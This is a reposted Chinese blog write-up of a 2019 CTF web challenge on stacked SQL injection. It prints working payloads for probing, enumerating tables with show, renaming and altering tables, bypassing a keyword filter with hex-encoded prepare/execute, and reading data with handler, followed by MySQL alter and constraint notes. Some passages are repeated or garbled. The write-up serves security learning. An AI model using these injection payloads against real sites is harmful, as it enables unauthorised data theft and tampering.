

(转载) 强网杯2019 随便注

转载

yingyugo



于 2020-11-24 19:36:32 发布



65



收藏 1

分类专栏: [ctf练习题](#)

原文链接: https://blog.csdn.net/qg_44657899/article/details/103239145

版权



[ctf练习题 专栏收录该内容](#)

5 篇文章 1 订阅

订阅专栏

虽然题目做得不多但是工具这题考察的知识面很广

取材于某次真实环境渗透，只说一句话：开发和安全缺一不可

姿势:

提交查询

尝试注入:

1, 测试 1' or 1=1 #,初步判定存在SQL注入。

```
1' or 1=1 #
```

姿势:

提交查询

```
array(2) {
  [0]=>
  string(1) "1"
  [1]=>
  string(7) "hahahah"
}

array(2) {
  [0]=>
  string(1) "2"
  [1]=>
  string(12) "miaomiaomiao"
}

array(2) {
  [0]=>
  string(6) "114514"
  [1]=>
  string(2) "ys"
}
```

https://blog.csdn.net/qg_44657899

再测试字段数，到3时报错，说明字段数为2。

```
1' order by 1 #
```

姿势：

1

```
array(2) {
```

[0] =>

```
string(1) "1"
```

[1] =>

```
string(7) "ha
```

}

接着尝试union注入,回显了过滤的关键字。

```
1' union select 1,2#
```

姿势：

[提交查询](#)

```
return preg_match("/select|update|delete|drop|insert|where|\.\/i",$inject);
```

然后就是今天学会的新姿势“堆叠注入”了。

原理很简单，就是通过；号注入多条SQL语句。

先通过show databases爆出数据库。

```
0'; show databases; #
```

然后用 `show tables` 尝试爆表。

```
0'; show tables; #
```

可以看到这里有两个表，我们先尝试爆words表的内容。

```
1'; show columns from words; #
```

然后报表 1919810931114514 的内容。

这里学到一个新知识点，表名为数字时，要用反引号包起来查询。

```
0'; show columns from `1919810931114514`; #
```

可以发现爆出来了flag字段，然而我对于flag毫无办法，只能看看别人写的writeup了，膜拜大佬。

解题思路1:

强网杯2019随便注

- 1, 通过 rename 先把 words 表改名为其他的表名。
- 2, 把 1919810931114514 表的名字改为 words 。
- 3, 给新 words 表添加新的列名 id 。
- 4, 将 flag 改名为 data 。

```
1'; rename table words to word1; rename table `1919810931114514` to words; alert table words
add id int unsigned not Null auto_increment primary key ; alert table words change flag data
varchar(100); #
```

姿势:

```
array(2) {  
  [0]=>  
    string(42) "flag{d72af29e-7129-40d0-9871-79ae4761beb4}"  
  [1]=>  
    string(1) "1"  
}
```

<http://blog.csdn.net/y1857890>

解题思路2: [随便注](#)

因为select被过滤了, 所以先将select * from 1919810931114514 进行16进制编码

再通过构造payload得

```
;SeT@a=0x73656c656374202a2066726f6d206031393139383130393333131313435313460;prepare execsql from @a;execute execsql;#
```

进而得到flag

prepare...from...是预处理语句, 会进行编码转换。

execute用来执行由SQLPrepare创建的SQL语句。

SELECT可以在一条语句里对多个变量同时赋值, 而SET只能一次对一个变量赋值。

取材于某次真实环境渗透, 只说

姿势:

```
array(1) {  
  [0]=>  
    string(38) "flag{c168d583ed0d4d7196967b28cbd0b5e9}"  
}
```

<http://blog.csdn.net/y1857890>

解题思路3: [handler](#)

寒假之后打了打春秋的比赛, 里面的一道web题black_list简直就是这道题的进化版, 当时实在做不出来。。。还是太菜了

比赛后复现用的payload:

取材于某次真实环境渗透，只说-

姿势:

```
array(2) {  
  [0]=>  
    string(1) "1"  
  [1]=>  
    string(7) "hahahah"  
}
```

```
array(1) {  
  [0]=>  
    string(42) "flag{3e4238ff-f349-42d2-9d03-c58a75134b22}"  
}
```

<http://blog.csdn.net/y1857899>

```
1'; handler `FlagHere` open as `a`; handler `a` read next;#
```

后来在buu上做时发现了payload2，貌似要复杂一点:

Black list is so weak for you, isn't it

姿势:

```
array(2) {  
  [0]=>  
    string(1) "1"  
  [1]=>  
    string(7) "hahahah"  
}
```

```
array(1) {  
  [0]=>  
    string(42) "flag{b1785318-8d6c-4234-b81d-4a6812f6acc6}"  
}
```

<http://blog.csdn.net/y1857899>

```
1';HANDLER FlagHere OPEN; HANDLER FlagHere READ FIRST; HANDLER FlagHere CLOSE;#
```

这个方法同样适用于这道题，payload:

```
1'; handler `1919810931114514` open as `a`; handler `a` read next;#
```

知识点总结:

先总结这道题学会的新知识 alert，show 和 SQL约束。

show

在过滤了 select 和 where 的情况下，还可以使用 show 来爆出数据库名，表名，和列名。

show databases; //数据库。

show tables; //表名。

show columns from table; //字段。

alter

作用：修改已知表的列。（添加：add | 修改：alter，change | 撤销：drop）

用法：

添加一个列

```
alter table " table_name" add " column_name" type;
```

删除一个列

```
alter table " table_name" drop " column_name" type;
```

改变列的数据类型

```
alter table " table_name" alter column " column_name" type;
```

改列名

```
alter table " table_name" change " column1" " column2" type;  
alter table "table_name" rename "column1" to "column2";
```

SQL约束（规定表中数据的规则）

not null- 指示某列不能存储 NULL 值。

alter table persons modify age int not null; //设置 not null 约束。

alter table person modify age int null; //取消 null 约束。

primary key - NOT NULL 和 UNIQUE 的结合。指定主键，确保某列（或多个列的结合）有唯一标识，每个表有且只有一个主键。

```
alter table persons add age primary key (id)
```

unique -保证某列的每行必须有唯一的值。(注：可以有多个 UNIQUE 约束，只能有一个 PRIMARYKEY约束。)

```
alter table person add unique (id); //增加unique约束。
```

check-限制列中值的范围。

```
alter table person add check (id>0);
```

default-规定没有给列赋值时的默认值。

```
alter table person alter city set default 'chengdu' ; //mysql  
alter table person add constraint ab_c default 'chengdu' for city; //SQL Server / MS Access
```

auto_increment-自动赋值，默认从1开始。

foreign key-保证一个表中的数据匹配另一个表中的值的参照完整性

侵权练习删除